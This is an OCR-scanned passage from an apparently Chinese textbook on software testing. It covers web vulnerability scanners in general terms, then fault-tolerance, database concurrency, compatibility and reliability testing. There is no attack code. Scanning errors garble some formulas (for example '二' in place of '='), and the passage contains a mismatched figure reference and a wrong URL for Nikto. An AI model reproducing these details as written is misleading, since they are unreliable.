目标 ,发 送 测试 就 可 以 完成 漏洞 检测 工作 ,验证 绝 大 多 数 的 安全 漏洞 。 它 不 仅 提供 漏洞 检测 ,还 
可 以 进行 实际 的 入侵 工作 ,能够 管理 专家 驱动 的 安全 性 进行 评估 ,提供 真正 的 安全 风险 情报 。 

(2) Nessus(http://www. tenable. com/products/nessus) 是 一 款 B/S 架构 的 系统 漏洞 扫 
描 与 分 析 软 件 ,可 以 指定 对 本 机 或 者 其 他 可 访问 的 服务 器 进行 漏洞 扫描 ,生成 详尽 的 用 户 报 
告 ,包括 脆弱 性 \ 漏 洞 修补 方法 以 及 危害 级 别 等 。Nessus 的 扫描 程序 与 漏洞 库 相 互 独 立 ,因而 
可 以 方便 地 更 新 其 漏洞 库 ,同时 提供 多 种 插件 的 扩展 和 一 种 语言 NASL (Nessus Attack 
Scripting Language) 用 来 编写 测试 选项 , 极 大 地 方便 了 漏洞 数据 的 维护 、 更 新 。 

(3) W3AF(http://w3af. org) 是 一 个 用 Python 编写 的 Web 应 用 安全 的 攻击 、 审 计 平 台 ， 
通过 增加 插件 来 对 功能 进行 扩展 ,目前 已 经 集成 了 非常 多 的 安全 审计 及 攻击 插件 ,如 自 定义 
request 功能 ,Fuzzy request 功能 、 代 理 功能 .加 解密 功能 (非常 多 的 加 解密 算法 ) ,支持 GUI， 
也 支持 命令 行 模式 。 

(4) Paros proxy (http://sourceforge. net/projects/paros/) 是 基于 Java 的 Web 代理 程 
序 , 可 以 评估 Web 应 用 程序 的 漏洞 ,如 SQL 注入 、 跨 站 点 脚本 攻击 、 目 录 遍 历 .CRLF 注入 攻 
击 等 漏洞 。 它 包括 一 个 Web 通信 记录 程序 、Web 圈套 程序 (Spider)、 散 列 (Hash) 计 算 器 , 支 
持 动态 地 编辑 ,查看 HTTP/HTTPS, 从 而 改变 Cookies 和 表单 字段 等 项 目 。 还 有 一 个 可 以 测 
试 常见 的 Web 应 用 程序 攻击 的 扫描 器 。 

(5) WebScarab (https://www. owasp. org/index. php/ WebScarab_Getting_Started) 可 
以 分 析 使 用 HTTP 和 HTTPS 进行 通信 的 应 用 程序 , WebScarab 可 以 用 最 简单 的 形式 记录 它 
观察 的 会 话 ,并 允许 操作 人 员 以 各 种 方式 观察 会 话 。 

(6) Nikto(https://www. netsparker. com) 是 开源 的 Web 服务 器 扫描 程序 ,可 以 对 Web 
服务 器 的 多 种 项 目 ( 包 括 3500 个 潜在 的 危险 文件 /CGI, 以 及 超过 900 个 服务 器 版 本 ,还 有 
250 多 个 服务 器 上 的 版 本 特定 问题 ) 进 行 全 面 的 测试 。 可 以 自动 更 新 扫描 项 目 和 插件 ,支持 
LibWhisker 的 反 IDS 方法 。 类 似 的 工具 有 Wikto、Whisker。 

(7) Wapiti(wapiti. sourceforge. net) 是 由 Python 语言 编写 的 .开源 的 安全 测试 工具 , 直 
接 对 网 页 进行 扫描 ,可 用 于 Web 应 用 程序 漏洞 扫描 和 安全 检测 。 


6.5 容错 性 测试 


容错 性 测试 (Fault-tolerance Test) 主 要 检查 系统 的 容错 能 力 ,检查 软件 在 异常 条 件 下 自 
身 是 否 具有 防护 性 的 措施 或 者 某 种 灾难 性 恢复 的 手段 。 如 当 系 统 出 错时 ,能 否 在 指定 时 间 间 
隔 内 修正 错误 并 重新 启动 系统 。 容 错 性 测试 可 以 看 作 可 靠 性 测试 和 健壮 性 测试 (Robustness 
Testb) 的 组 成 部 分 ,容错 测试 首先 要 通过 各 种 手段 ,让 软件 强制 性 地 发 生 故 障 ,然后 验证 系统 是 
否 能 尽快 恢复 。 容 错 性 测试 包括 以 下 两 个 方面 。 

(1) 输入 异常 数据 或 进行 异常 操作 ,以 检验 系统 的 保护 性 。 如 果 系统 的 容错 性 好 ,系统 只 
给 出 提示 或 内 部 消化 掉 , 而 不 会 导致 系统 出 错 甚 至 崩溃 。 


(2) 灾难 恢复 性 测试 。 通 过 各 种 手段 ,让 软件 强制 性 地 发 生 故 障 ,然后 验证 系统 已 保存 的 
用 户 数 据 是 否 丢失 、 系 统 和 数据 是 否 能 尽快 恢复 。 

对 于 自动 恢复 需 验 证 重新 初始 化 ,检查 点 ,数据 恢复 和 重新 启动 等 机 制 的 正确 性 ; 对 于 人 
工 干预 的 恢复 系统 ,还 需 估 测 平均 修复 时 间 ,确定 其 是 否 在 可 接受 的 范围 内 。 容 错 性 好 的 软件 
能 确保 系统 不 发 生 无 法 意料 的 事故 。 

从 容错 性 测试 的 概念 可 以 看 出 , 当 软 件 出 现 故 障 时 如 何 进行 故障 的 转移 与 恢复 有 用 的 数 
据 是 十 分 重要 的 。 


6.5.1 容错 性 测试 的 要 点 


1. 故障 转移 与 数据 恢复 

故障 转移 是 确保 测试 对 象 在 出 现 故障 时 能 成 功 完 成 故障 的 转移 ,并 能 从 导致 意外 数据 损 
失 或 数据 完整 性 破坏 的 各 种 硬件 .软件 和 网 络 故障 中 恢复 。 数 据 恢 复 可 确保 : 对 于 必须 持续 
运行 的 系统 ,一 旦 发 生 故 障 , 备 用 系统 就 将 不 失 时 机 地 * 接 替 ? 发 生 故 障 的 系统 ,以 避免 丢失 任 
何 数据 或 事务 。 容 错 测 试 是 一 种 对 抗 性 的 测试 过 程 。 在 这 种 测试 中 ,将 把 应 用 程序 或 系统 置 
于 (模拟 的 ) 异 常 条 件 下 ,以 产生 故障 。 例 如 ,设备 输入 /输出 (IO) 故 障 或 无 效 的 数据 库 指针 
和 关键 字 等 。 然 后 调用 恢复 进程 并 监测 ,检查 应 用 程序 和 系统 ,核实 系统 和 数据 已 得 到 了 正确 
的 恢复 。 

2. 测试 目标 


确保 恢复 进程 将 数据 库 ,应 用 程序 和 系统 正确 地 恢复 到 预期 的 已 知 状态 。 测 试 中 将 包括 
以 下 各 种 情况 。 

(1) 客户 机 断 电 、 服 务 器 断 电 。 

(2) 通过 网 络 服务 器 产生 的 通信 中 断 或 控制 器 被 中 断 。 

(3) 断 电 或 与 控制 器 的 通信 中 断 周 期 未 完成 (数据 过 滤 进程 被 中 断 ,数据 同步 进程 被 中 断 ) 。 

(4) 数据 库 指针 或 关键 字 无 效 ,数据库 中 的 数据 元 素 无 效 或 遭 到 破坏 。 

3. 测试 范围 

应 该 使 用 为 功能 和 业务 周期 测试 创建 的 测试 来 创建 一 系列 的 事务 。 一 旦 达到 预期 的 测试 
起 点 ,就 应 该 分 别 执行 或 模拟 以 下 操作 。 

(1) 往 口 盘 保存 时 ,不 插入 U 盘 , 或 将 U 盘 加 写 保护 。 

(2) 不 接 打 印 机 ,但 进行 打印 操作 。 

(3) 客户 机 断 电 和 服务 器 断 电 。 

(4) 网 络 通信 中 断 : 如 可 以 断 开 通信 线路 的 连接 或 关闭 网 络 服务 器 或 路 由 器 的 电源 。 

(5) 控制 器 被 中 断 . 断 电 或 与 控制 器 的 通信 中 断 : 模拟 与 一 个 或 多 个 控制 器 或 设备 的 通 
信 ,或 实际 取消 这 种 通信 。 

一 旦 实现 了 上 述 情 况 (或 模拟 情况 ) ,就 应 该 执行 其 他 事务 。 而 且 一 旦 达到 第 二 个 测试 点 
状态 ,就 应 调用 恢复 过 程 。 在 测试 不 完整 的 周期 时 ,所 使 用 的 技术 与 上 述 技术 相同 ,只 不 过 应 
异常 终止 或 提前 终止 数据 库 进程 本 身 。 对 以 下 情况 的 测试 需要 达到 一 个 已 知 的 数据 库 状 态 。 
当 破坏 若干 个 数据 库 字 段 .指针 和 关键 字 时 ,应 该 以 手工 方式 在 数据 库 中 (通过 数据 库 工具 ) 直 
接 进行 。 其 他 事务 应 该 通过 使 用 “应 用 程序 功能 测试 "和 “业务 周期 测试 "中 的 测试 来 执行 ,并 
且 应 执行 完整 的 周期 。 


4. 完成 标准 

在 所 有 上 述 情况 中 ,应 用 程序 数据 库 和 系统 应 该 在 恢复 过 程 完成 时 立即 返回 到 一 个 已 知 
的 预期 状态 。 此 状态 包括 仅 限于 已 知 损坏 的 字段 ,指针 或 关键 字 范 围 内 的 数据 损坏 ,以 及 表明 
进程 或 事务 因 中 断面 未 被 完成 的 报表 。 

5. 需 考 虑 的 特殊 事项 

恢复 测试 会 给 其 他 操作 带 来 许多 的 麻烦 。 断 开 缆 线 连接 的 方法 (模拟 断 电 或 通信 中 断 ) 可 
能 并 不 可 取 或 不 可 行 。 所 以 ,可 能 会 需要 采用 其 他 方法 ,例如 诊断 性 软件 工具 。 恢 复 测试 对 其 
他 类 型 的 测试 影响 很 大 ,一 般 需 要 使 用 相对 独立 的 系统 、 数 据 库 和 网 络 组 中 的 资源 ,应 该 在 工 
作 时 间 之 外 或 在 一 个 独立 的 环境 上 进行 。 


6.5.2 数据 库 并 发 控制 测试 


数据 库 的 并 发 控制 能 力 是 指 在 处 理 多 个 用 户 在 同一 时 间 内 对 相同 数据 进行 同时 访问 的 能 
力 。 一 般 的 关系 型 数据 库 都 具备 这 种 能 力 ,日 常 应 用 系统 中 也 随处 可 见 , 例 如 火车 的 售票 系统 、 
银行 数据 库 系统 。 举 个 例子 (如 图 6-16 所 示 ) 来 说 明 , 在 火车 的 售票 系统 中 ,有 如 下 一 个 过 程 。 

(1) A 售票 点 通过 网 络 从 源 数 据 库 读 出 某 车 次 的 车 票 剩余 张 数 为 n(n 二 100)。 

(2) B 售票 点 通过 网 络 从 源 数据 库 读 出 该 车 次 的 车 票 剩余 张 数 也 为 n(n 二 100)。 

(3) A 售票 点 卖 出 一 张 该 车 次 的 车 票 ,将 "一 1(99) 写 回 源 数据 库 。 

(4) B 售票 点 也 卖 出 一 张 该 车 次 的 车 票 ,将 "一 1(99) 写 回 源 数据 库 。 

这 样 就 存在 并 发 控制 的 问题 , 卖 出 了 两 张 票 ,而 数据 库 里 面 只 有 一 条 数据 减少 。 这 样 , 下 
次 读 取 数据 的 时 候 , 源 数据 就 不 准确 了 ,从 而 会 带 来 数据 的 错误 。 如 果 按 照 上 面 的 操作 顺序 执 
行 ,A 对 源 数据 库 的 修改 就 被 丢失 。 


售 出 
售 出 
B 售 票 点 


el Set 利 余 标 数 
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已 售票 数 
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图 6-16 火车 票 系统 的 数据 并 发 过 程 冲突 示意 图 
并 发 控制 带 来 数据 的 不 一 致 问题 ,被 称 为 “数据 库 并 发 控制 过 程 冲突 ”, 如 图 9-2 所 示 。 在 
实际 的 测试 过 程 中 ,必须 对 这 样 的 冲突 进行 测试 设计 ,主要 是 通过 逻辑 判定 来 设计 测试 用 例 。 
在 并 发 控制 过 程 冲突 中 ,主要 包括 三 类 : 丢失 数据 .不 可 重复 读数 据 和 读 “ 脏 ”数据 。 
1. 丢失 数据 
刚才 的 例子 就 是 一 个 典型 。 当 事务 A 和 事务 B 对 同一 个 数据 源 进行 修改 ,B 提交 的 结果 


破坏 了 A 提交 的 结果 ,导致 A 对 数据 库 的 修改 失效 。 

2. 不 可 重复 读数 据 

不 可 重复 读数 据 是 指 事务 A 在 读 取 数 据 后 ,事务 B 对 其 进行 了 修改 并 执行 了 更 新 操作 ， 
事务 A 无 法 再 现 前 一 次 读 取 的 结果 。 举 个 例子 来 说 明 : 

(1) 事务 A 从 数据 库 表 中 读 出 整数 X=10,Y 王 20, 进 行 求 和 运算 Z 二 XX 十 Y= 二 30。 

(2) 事务 B 从 相同 的 数据 库 中 读 出 X=10, 对 X 乘 以 5 后 写 和 人 原 X 值 (X 一 XX5 一 50)， 
提交 事务 B。 

此 时 ,事务 A 处 理 的 结果 是 : Z=X+Y=10 十 50=60, 事 务 B 对 数据 的 操作 已 经 影响 了 
原来 的 结果 。 

3. 读 “ 脏 ”数据 


读 脏 数据 是 指 事务 A 修改 某 一 数据 (或 者 执行 某 一 操作 ) ,并 将 其 写 到 数据 库 ,事务 B 读 
取 相 同 数据 (或 者 执行 某 一 关联 操作 ) 的 时 候 ,事务 A 由 于 某 种 原因 撤销 操作 ( 即 进行 事务 回 
滚 ) ,此 时 事务 A 已 经 将 原来 的 数据 还 原 ,而 事务 B 所 读 取 的 数据 和 数据 库 中 真实 记录 就 不 一 
致 ,此 时 事务 B 读 到 的 数据 就 是 脏 数据 。 例 如 ,事务 A 从 数据 库 表 中 读 出 整数 X=10 并 乘 以 
5 写 人 X。 事 务 B 读 取 X 的 值 为 50, 此 时 ,事务 A 执行 回 滚 操 作 , 将 X 的 值 恢 复 成 10, 此 时 B 
读 取 的 数据 50 就 是 “ 脏 ” 数 据 。 

在 数据 库 应 用 系统 中 ,一 般 会 使 用 加 锁 技术 来 进行 并 发 控制 。 在 前 面 的 火车 售票 系统 中 ， 
当 A 事务 读数 据 进行 修改 之 前 先 对 数据 库 表 进 行 加 锁 , 当 B 事务 请 求 对 数据 库 表 进 行 修改 时 
需要 重新 请 求 加 锁 , 此 时 若 A 事务 锁 未 被 释放 ,B 将 不 能 对 数据 库 进行 修改 操作 ,这 样 ,B 对 数 
据 库 表 进 行 操作 时 就 是 对 已 经 更 新 的 数据 进行 操作 ,此 时 防止 了 数据 库 并 发 控制 的 冲突 产生 。 
按照 加 锁 的 等 级 和 操作 权限 ,数据 库 加 锁 可 以 分 为 一 级 、 二 级 和 三 级 封锁 协议 ,具体 请 参考 相 
关 数 据 库 方面 的 书 。 

在 数据 库 并 发 控制 测试 过 程 中 ,需要 针对 程序 控制 的 流程 ,来 设计 测试 ,如 图 6-17 所 示 。 
测试 的 重点 是 并 发 控制 逻辑 分 析 以 及 锁 控制 的 逻辑 分 析 , 设 计 并 发 控制 的 测试 过 程 分 为 以 下 
两 个 部 分 。 
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6-17 火车 票 系统 的 加 锁 技术 的 并 发 控制 示意 图 


(1) 并 发 流程 分 析 。 按 照 数据 库 处 理 的 流程 来 设计 测试 的 逻辑 重点 ,分 析 并 发 控制 的 点 ， 
事务 锁 的 使 用 。 

(2) 并 发 控制 测试 分 析 。 按 照 并 发 控制 的 实现 过 程 以 及 事务 锁 的 基本 机 制 , 设 计 相 应 的 
测试 过 程 以 及 测试 用 例 。 

当然 ,在 并 发 控制 测试 中 ,可 能 要 涉及 更 为 复杂 的 测试 过 程 , 例 如 ,多 线程 应 用 程序 的 并 发 
控制 处 理 ,数据 的 死 锁 控 制 以 及 分 析 等 ,这 里 不 再 多 述 。 


6.6 兼容 性 测试 


兼容 性 测试 包括 软件 兼容 性 .数据 共享 兼容 性 、 硬 件 兼容 性 三 个 方面 。 假 设 新 开发 一 个 图 
形 处 理 软件 , 自 定义 了 一 种 特殊 的 图 形 存储 格式 以 适应 特殊 的 应 用 ,那么 该 软件 是 否 能 在 操作 
系统 的 不 同 版 本 上 正常 工作 ? 是 否 可 以 将 图 片 存储 为 . bmp、. gif、. jpg 等 其 他 图 像 文 件 格式 ? 
是 否 符合 相应 的 文件 标准 ?是 否 也 可 以 读 取 这 些 格 式 的 文件 转换 成 自 定义 的 格式 文件 ?是 否 
支持 市 场 上 流行 的 显卡 ? 这些 都 是 兼容 性 问题 ,都 需要 进行 检验 。 如 果 存 在 兼容 性 问题 ,就 会 
影响 软件 的 使 用 范围 ,用 户 的 操作 受到 很 大 的 局 限 。 


6.6.1 软件 兼容 性 测试 


软件 兼容 性 测试 是 指 验证 软件 之 间 是 否 正确 地 交互 和 共享 信息 ,包括 同步 共享 .异步 共 
享 ,还 包括 本 地 交互 .远程 通信 交互 。 在 接受 兼容 性 测试 任务 时 ,应 仔细 了 解 产品 说 明 书 中 的 
有 关内 容 , 并 和 相关 人 员 进 行 沟通 ,可 以 询问 一 些 重要 的 问题 ,例如 : 

(1) 软件 设计 要 求 与 何 种 平台 (如 操作 系统 、Web 浏览 器 或 者 其 他 操作 环境 ) 和 应 用 软件 
保持 兼容 ? 

(2) 如 果 被 测试 的 应 用 软件 (Application Under Test,AUT) 本 身 就 是 一 个 平台 ,那么 设 
计 要 求 哪些 应 用 程序 可 以 在 其 上 运行 ? 

(3) 应 该 遵守 何 种 软件 之 间 的 标准 和 规范 ? 

(4) 软件 使 用 何 种 数据 与 其 他 平台 进行 交互 ,共享 信息 ? 

从 项 目 管理 的 角度 出 发 ,在 满足 客户 要 求 的 前 提 下 尽 可 能 地 减少 被 测试 的 平台 ,不 可 能 兼 
容 所 有 平台 。 例 如 ,针对 Windows 操作 系统 的 测试 ,主要 考虑 Windows XP、Windows 7 和 
Windows 8 ,而 不 需要 考虑 Windows 2000 或 Windows NT, 和 否则 测试 的 工作 量 会 很 大 。 

1. 向 前 和 向 后 兼容 

向 后 兼容 是 指 可 以 使 用 以 前 版 本 的 软件 ,而 向 前 兼容 指 的 是 可 以 使 用 未 来 版 本 的 软件 。 
例如 ,Windows XP 是 否 可 以 运行 以 前 的 一 些 应 用 软件 ,包括 Office 2000、Office 98 甚至 一 些 
DOS 程序 ,这 也 就 比较 容易 理解 Windows XP 为 什么 还 保持 Run 的 命令 行 执行 方式 以 及 通过 
CMD 命令 打开 DOS 窗口 ,就 是 从 兼容 性 来 设计 的 。 例 如 , 字 处 理 软件 Word 2003 是 否 能 够 
向 后 兼容 以 前 的 Word 2000、Word 98 甚至 MS-DOS 下 的 字 处 理 软件 的 所 有 版 本 的 文件 格式 。 
而 向 前 兼容 指 Windows XP 能 否 运行 将 来 的 Word 2007 或 未 来 的 新 版 本 ,或 者 说 Word 2003 
能 否 打开 Word 2007 的 文件 。 

当然 并 非 所 有 软件 都 要 向 前 兼容 或 向 后 兼容 测试 .向 后 兼容 是 必要 的 ,必须 测试 ,而 向 前 
兼容 不 是 必需 的 ,而 是 努力 做 到 的 ,在 设计 时 要 考虑 和 未 来 的 软件 .数据 兼容 。 


2. 多 版 本 的 测试 

当前 流行 的 操作 系统 ,已 经 有 数 百 万 个 应 用 程序 在 上 面 运行 。 而 当 操作 系统 中 修复 了 大 
量 缺 陷 改善 了 性 能 并 增加 了 许多 有 用 的 新 特性 ,兼容 性 测试 将 面临 很 大 的 挑战 ,如 何 验 证 操 
作 系 统 的 新 版 本 是 否 兼容 那 数 百 万 个 应 用 程序 ? 面 对 这 样 一 个 庞大 而 又 艰巨 的 任务 ,需要 采 
取 有 效 的 测试 策略 ,例如 ,对 所 有 可 能 的 组 合 进行 等 价 划 分 优化 ,获得 最 少 的 有 效 测 试 集合 。 
通常 的 做 法 有 : 

(1) 将 软件 分 类 ,如 字 处 理 , 电 子 表格 、 数 据 库 、 图 形 处 理 和 游戏 等 ,从 每 种 类 型 中 选择 部 
分 测试 软件 。 

(2) 按 软件 的 流行 程度 选择 较 流行 的 软件 。 

(3) 按 软件 推出 的 时 间 , 选 取 最 近年 份 内 的 程序 和 版 本 。 

前 面 说 的 新 开发 的 图 形 软件 是 一 个 应 用 程序 ,同样 需要 决定 在 什么 操作 系统 以 及 与 哪些 
应 用 程序 一 起 进行 测试 。 

3. 一 个 典型 的 例子 

每 一 个 浏览 器 和 版 本 支持 的 特性 上 都 有 细微 的 差别 ,在 不 同 的 操作 系统 上 表现 也 有 所 不 
同 。 一 个 网 站 可 能 在 某 浏览 器 的 某 个 版 本 上 表现 极 佳 ,但 是 在 另 一 种 环境 中 就 存在 许多 问题 
甚至 无 法 显示 。 

程序 员 可 以 选择 只 使 用 最 普通 的 特性 ,以 便 在 所 有 浏览 器 中 同样 显示 ,也 可 以 选择 为 每 一 
个 浏览 器 编写 专用 代码 ,使 站 点 以 最 佳 方式 工作 。 浏 览 器 的 插件 可 以 获得 音频 和 视频 播放 功 
能 。 浏 览 器 自身 有 各 种 设置 选项 (安全 性 等 ) 。 在 不 同 的 平台 上 屏幕 分 辨 率 和 颜色 模式 的 不 同 
等 均 会 影响 到 网 站 的 测试 。 为 了 保证 很 好 地 为 预定 的 客户 服务 ,就 要 研究 他 们 可 能 拥有 的 配 
置 。 表 6-6 给 出 了 一 个 在 设计 测试 计划 时 常用 的 一 个 矩阵 表 。 


表 6-6 测试 设计 和 矩阵 表 


Windows Non-Windows 
XP 7 8 8.1 Linux Solaris OSIX OSX 

IE9 ~ ~ ~ Vv ~V 
IE11 JV Vv ~V 
Firefox3 ~ ~ Vv ~ 
Safari JV Vv V JV 
Chrome ~ ~ Vv ~ 
Opera ~ JV V V 
Mozilla V 


专业 的 测试 单位 中 负责 客户 端 测试 的 人 员 每 人 可 能 拥有 多 台 测 试 (虚拟 ) 机 ,每 台 ( 虚 拟 ) 
机 器 配置 不 同 的 操作 系统 和 浏览 器 。 一 则 每 台 机 器 均 采 用 活动 硬盘 架 ,可 很 快 更 换 备用 硬盘 
来 测试 不 同 的 系统 环境 ,或 者 测试 机 器 配置 很 高 .通过 安装 虚拟 机 软件 (如 VMware 
Workstation、Microsoft Virtual PC、Virtual Box、Parallels Workstation 等 ) ,在 一 台 物 理 机 器 
上 安装 3 一 6 台 虚 拟 机 ,进行 兼容 性 测试 。 


6.6.2 数据 共享 兼容 性 测试 
为 了 获得 良好 的 兼容 性 ,软件 必须 遵守 公开 的 标准 和 某 些 约定 ,允许 与 其 他 软件 传输 、 共 


享 数据 。 数 据 共享 的 兼容 性 表现 在 以 下 几 个 方面 。 

(1) 前 切 、 复 制 和 粘贴 : 这 是 人 们 经 常用 的 功能 ,实际 上 它 就 是 在 不 同 应 用 上 的 数据 共 
享 。 剪 贴 板 只 是 一 个 全 局 内 存 块 , 当 一 个 应 用 程序 将 数据 传送 给 剪贴 板 后 ,通过 修改 内 存 块 分 
配 标志 ,把 相关 内 存 块 的 所 有 权 从 应 用 程序 移交 给 Windows 自身 。 其 他 应 用 程序 可 以 通过 一 
个 句柄 找到 这 个 内 存 块 ,从 而 能 够 从 内 存 块 中 读 取 数 据 。 这 样 就 实现 了 数据 在 不 同 应 用 程序 
间 的 传输 。 

(2) 文件 的 存 取 : 文件 的 数据 格式 必须 符合 标准 ,能 被 其 他 应 用 软件 读 取 。 例 如 ,微软 
Excel 文件 可 以 转化 为 HTML 格式 供 浏 览 器 直接 打开 ,而 应 用 软件 的 数据 可 以 转化 成 csv 格 
式 , 供 Excel 读 取 ,自动 形成 Excel 表格 。 现 在 通用 的 数据 交换 格式 主要 有 XML(eXtensible 
Markup Language)、 JSON (JavaScript Object Notation) Google Protocol Buffers 和 LDIF 
(LDAP Data Interchange Format) 等 。 

(3) 文件 导入 和 导出 : 是 许多 应 用 程序 与 自身 以 前 版 本 、 其 他 应 用 程序 保持 兼容 的 方式 。 
例如 ,微软 Outlook 就 可 以 导出 通讯 录 , 可 以 让 手机 导入 这 些 信 息 。 如 果 开 发 一 个 应 用 软件 ， 
用 户 需要 管理 联系 人 ,那么 这 个 软件 最 好 要 提供 通讯 录 导 入 功能 ,包括 导入 MS Outlook IJBM 
Lotus Notes、Gmail、Yahoo IM、LinkedIn 等 应 用 的 通讯 录 ,提高 软件 的 竞争 力 。 


6.6.3 硬件 兼容 性 测试 


硬件 兼容 性 测试 也 就 是 硬件 配置 测试 。 假 如 ,以 图 像 编辑 软件 为 例 , 在 开发 环境 中 软件 正 
常 运行 ,另外 选择 三 款 流行 的 显卡 ,只 要 当 配置 某 一 款 显 卡 运行 时 发 生 故 障 或 系统 崩溃 ,那么 
一 定 是 配置 问题 。 

1. 配置 测试 的 必要 性 

首先 是 计算 机 配置 的 复杂 多 样 性 ,世界 上 有 很 多 著名 的 计算 机 生产 厂家 自行 设计 组 件 , 生 
产 自 己 的 主机 ,甚至 读者 就 可 以 自己 拼装 主机 。 大 多 数 主 机 是 由 主板 .显卡 声卡、 网卡 、 硬 盘 、 
光驱 等 组 件 构 成 ,而 这 些 组 件 可 以 是 数 百 家 生 产 厂商 提供 的 。 打 印 机 ,扫描 仪 . 鼠 标 、 键 盘 、 数 
码 相机 ,游戏 手柄 等 丰富 多 彩 的 外 设 通 过 各 种 接口 与 主机 相连 ,如 常见 的 ISA、PCI、USB、PS/ 
2、RS/232 等 ,还 有 各 种 设备 驱动 程序 及 其 很 多 的 可 选项 。 

2. 配置 测试 的 基本 方法 

配置 测试 的 主要 任务 是 发 现 硬件 配置 缺陷 。 判 断 一 个 缺陷 是 否 为 配置 缺陷 ,常用 方法 是 
在 另 一 台 完 全 不 同 配置 的 计算 机 上 执行 相同 的 操作 。 如 果 缺 陷 没有 再 现 , 就 可 能 是 配置 缺陷 。 
但 配置 缺陷 表现 有 时 不 是 那么 清晰 ,判断 时 要 考虑 以 下 几 种 情况 。 

(1) 可 能 在 多 种 配置 中 都 会 出 现 的 缺陷 。 

(2) 可 能 只 在 某 种 特殊 配置 中 出 现 的 缺陷 。 

(3) 硬件 设备 或 者 其 设备 驱动 程序 可 能 包含 仅 由 软件 揭示 的 缺陷 。 

(4) 硬件 设备 或 者 其 设备 驱动 程序 可 能 包含 需 借助 许多 其 他 软件 才能 揭示 的 缺陷 。 

如 果 盲 目地 进行 配置 测试 ,往往 事倍功半 。 假 设 市 场 上 有 显卡 声卡、 网 卡 各 500 种 , 则 测 
试 组 合 的 数目 为 500X500X500, 而 且 没有 考虑 其 他 组 件 。 配 置 测试 还 可 以 采用 等 价 类 划分 
方法 ,其 划分 的 依据 则 是 硬件 的 流行 程度 、 年 限 、 国 家 和 地 区 、 用 户 对 象 等 因素 。 经 过 等 价 类 划 
分 和 优化 ,可 以 从 一 大 堆 设 备 中 选择 出 需要 测试 的 设备 清单 ,然后 再 采用 Pair-wise 方法 \ 正 交 
试验 方法 来 优化 组 合 将 配置 测试 处 于 可 控制 的 状态 中 。 


6.7 可 靠 性 测试 


可 靠 性 (Reliability) 是 产品 在 规定 的 条 件 下 和 规定 的 时 间 内 完成 规定 功能 的 能 力 , 它 的 概 
率 度 量 称 为 可 靠 度 。 软 件 可 靠 性 是 软件 系统 的 固有 特性 之 一 , 它 表 明了 一 个 软件 系统 按照 
户 的 要 求 和 设计 的 目标 ,执行 其 功能 的 可 靠 程度 。 软 件 可 靠 性 与 软件 缺陷 有 关 , 也 与 系统 输入 
和 系统 使 用 有 关 。 理 论 上 说 ,可 靠 的 软件 系统 应 该 是 正确 、 完 整 一 致 和 健壮 的 。 但 是 实际 上 
任何 软件 都 不 可 能 达到 百分之百 的 正确 ,而 且 也 无 法 精确 度量 。 一 般 情况 下 ,只 能 通过 对 软件 
系统 进行 测试 来 度量 其 可 靠 性 。 

对 软件 可 靠 性 定义 , 换 句 话 可 以 得 到 如 下 的 定义 :“ 软 件 可 靠 性 是 软件 系统 在 规定 的 时 间 
内 及 规定 的 环境 条 件 下 ,完成 规定 功能 的 能 力 .根据 这 个 定义 ,软件 可 靠 性 主要 包含 以 下 三 个 
要 素 。 

(1) 规定 的 时 间 。 软 件 可 靠 性 只 是 体现 在 其 运行 阶段 ,所 以 将 “运行 时 间 ” 作 为 “规定 的 时 
间 ” 的 度量 。“ 运 行 时 间 ” 包 括 软件 系统 运行 后 工作 与 挂 起 (开启 但 空闲 ) 的 累计 时 间 。 由 于 软 
件 运行 的 环境 与 程序 路 径 选取 的 随机 性 ,软件 的 失效 为 随机 事件 ,所 以 运行 时 间 属 于 随机 变量 。 

(2) 规定 的 环境 条 件 。 环 境 条 件 指 软件 的 运行 环境 。 它 涉及 软件 系统 运行 时 所 需 的 各 种 
支持 要 素 , 如 支持 硬件 ,操作 系统 、 其 他 支持 软件 ,输入 数据 格式 和 范围 以 及 操作 规程 等 。 不 同 
的 环境 条 件 下 软件 的 可 靠 性 是 不 同 的 。 具 体 地 说 ,规定 的 环境 条 件 主 要 是 描述 软件 系统 运行 
时 计算 机 的 配置 情况 以 及 对 输入 数据 的 要 求 , 并 假定 其 他 一 切 因素 都 是 理想 的 。 有 了 明确 规 
定 的 环境 条 件 ,还 可 以 有 效 判断 软件 失效 的 责任 在 用 户 方 还 是 研制 方 。 

(3) 规定 的 功能 。 软 件 可 靠 性 还 与 规定 的 任务 和 功能 有 关 。 由 于 要 完成 的 任务 不 同 , 软 
件 的 运行 剖面 会 有 所 区 别 , 则 调用 的 子 模块 就 不 同 ( 即 程序 路 径 选择 不 同 ) ,其 可 靠 性 也 就 可 能 
不 同 。 所 以 要 准确 度量 软件 系统 的 可 靠 性 必须 首先 明确 它 的 任务 和 功能 。 

软件 可 靠 性 测试 ,也 称 软件 可 靠 性 评估 (Software Reliability Assessment) , 指 根据 软件 系 
统 可 靠 性 结构 (单元 与 系统 间 可 靠 性 关系 ) 寿命 类 型 和 各 单元 的 可 靠 性 试验 信息 ,利用 概率 统 
计 方 法 ,评估 出 系统 的 可 靠 性 特征 量 。 

1. 可 靠 性 测试 方法 

要 进行 软件 可 靠 性 评估 ,就 要 涉及 软件 可 靠 性 模型 , 即 为 预计 或 估算 软件 的 可 靠 性 所 建立 
的 可 靠 性 结构 和 数学 模型 。 建 立 可 靠 性 模型 是 为 了 将 复杂 系统 的 可 靠 性 逐 级 分 解 为 简单 系统 
的 可 靠 性 ,以 便 定量 预计 、 分 配 、 估 算 和 评价 复杂 系统 的 可 靠 性 。 一 般 软件 可 靠 性 模型 分 为 两 
大 类 , 即 软件 可 靠 性 结构 模型 和 软件 可 靠 性 预计 模型 。 

(1) 软件 可 靠 性 结构 模型 是 依据 系统 结构 逻辑 关系 ,对 系统 的 可 靠 性 特征 及 其 发 展 变化 
规律 做 出 可 靠 性 评价 。 此 模型 既 可 用 于 软件 可 靠 性 综合 评价 又 可 用 于 软件 可 靠 性 分 解 。 

(2) 软件 可 靠 性 预计 模型 则 是 用 来 描述 软件 失效 与 软件 缺陷 的 关系 ,借助 这 类 模型 ,可 以 
对 软件 的 可 靠 性 特征 做 出 定量 的 预计 或 评估 。 依 据 软件 缺陷 与 运行 剖面 数据 ,利用 统计 学 原 
理 建 立 二 者 之 间 的 数学 关系 ,获取 开发 过 程 中 可 靠 性 变化 .软件 在 预定 工作 时 间 的 可 靠 度 、 软 
件 在 任意 时 刻 发 生 失 效 数 平均 值 , 以 及 软件 在 规定 时 间 间 隔 内 发 生 失效 次 数 的 平均 值 。 这 里 
